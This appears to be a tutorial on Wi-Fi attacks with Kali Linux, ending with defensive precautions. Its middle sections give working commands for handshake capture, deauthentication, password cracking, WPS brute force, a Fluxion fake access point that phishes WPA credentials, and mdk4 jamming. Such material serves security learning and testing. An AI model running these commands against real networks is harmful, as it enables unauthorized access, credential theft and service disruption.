## ✅ What is a Wireless Attack?

A **wireless attack** targets **Wi-Fi networks** to:

- Intercept data
- Gain unauthorized access
- Disrupt communication

These attacks exploit vulnerabilities in **Wi-Fi protocols** (WEP, WPA/WPA2/WPA3), **devices**, or **authentication mechanisms**.

## ⚠️ Types of Wireless Attacks

| Attack Type | Description |
|---|---|
| **Evil Twin Attack** | Fake AP to lure users |
| **Deauthentication Attack** | Disconnect users from Wi-Fi |
| **Packet Sniffing** | Capture and analyze Wi-Fi traffic |
| **Password Cracking** | Crack Wi-Fi passwords using wordlists |
| **Wi-Fi Jamming** | Disrupt Wi-Fi signal using noise or repeated packets |

## 🛠️ Top Tools for Wireless Attacks in Kali Linux

| Tool | Purpose |
|---|---|
| **Aircrack-ng** | Sniffing, deauth, cracking WPA/WEP |
| **Reaver** | Bruteforce WPS PIN attacks |
| **Wifite** | Automated Wi-Fi attacks |
| **Bettercap** | MITM + Deauth + Sniffing |
| **Fluxion** | Fake login page + phishing |
| **MDK3 / mdk4** | Jamming and DoS attacks |
| **Kismet** | Wireless monitoring and IDS |

## 📡 Aircrack-ng Suite Basic Commands (WPA/WPA2)

**1. Enable monitor mode**

```
airmon-ng start wlan0
```

**2. Scan nearby networks**

```
airodump-ng wlan0
```

**3. Capture handshake**

```
airodump-ng --bssid <target_bssid> -c <channel> -w capture wlan0
```

**4. Deauthenticate client (force handshake)**

```
aireplay-ng --deauth 10 -a <bssid> -c <client_mac> wlan0
```

**5. Crack captured handshake**

```
aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt
```

### 🔐 WPS Attack with Reaver

```
wash -i wlan0mon     # check for WPS-enabled APs
reaver -i wlan0mon -b <bssid> -vv
```

### 🧠 Fluxion (Social Engineering Wi-Fi Attack)

```
git clone https://github.com/FluxionNetwork/fluxion
cd fluxion
sudo ./fluxion.sh
```

It creates a fake AP and phishing page to collect WPA credentials.

### 📶 Wi-Fi Jamming (MDK4 example)

```
mdk4 wlan0mon d  # DoS all networks
mdk4 wlan0mon a -i blacklist.txt  # attack specific BSSIDs
```

Create blacklist.txt with target BSSIDs

### 👮 Precautions Against Wireless Attacks

| Precaution | Description |
|---|---|
| ✅ Use **WPA3** or **WPA2-AES** only | Avoid WEP, TKIP |
| ✅ **Disable WPS** | Prevent WPS brute-force |
| ✅ Use **strong Wi-Fi passwords** | Long, random |
| ✅ Hide **SSID broadcast** | Prevent casual discovery |

| | |
|---|---|
| ✅ Enable **MAC filtering** | Restrict allowed devices |
| ✅ Monitor with **Kismet / Wireshark** | Detect rogue APs or anomalies |
| ✅ **Update router firmware** | Fix known vulnerabilities |
| ✅ **Separate guest networks** | Isolate guests from internal LAN |
| ✅ Use **VPN over Wi-Fi** | Encrypt traffic even on public networks |

## Prevention Tips
- Use WPA3
- Disable WPS
- Strong Passwords
- Update Firmware
- Monitor traffic
- Use VPN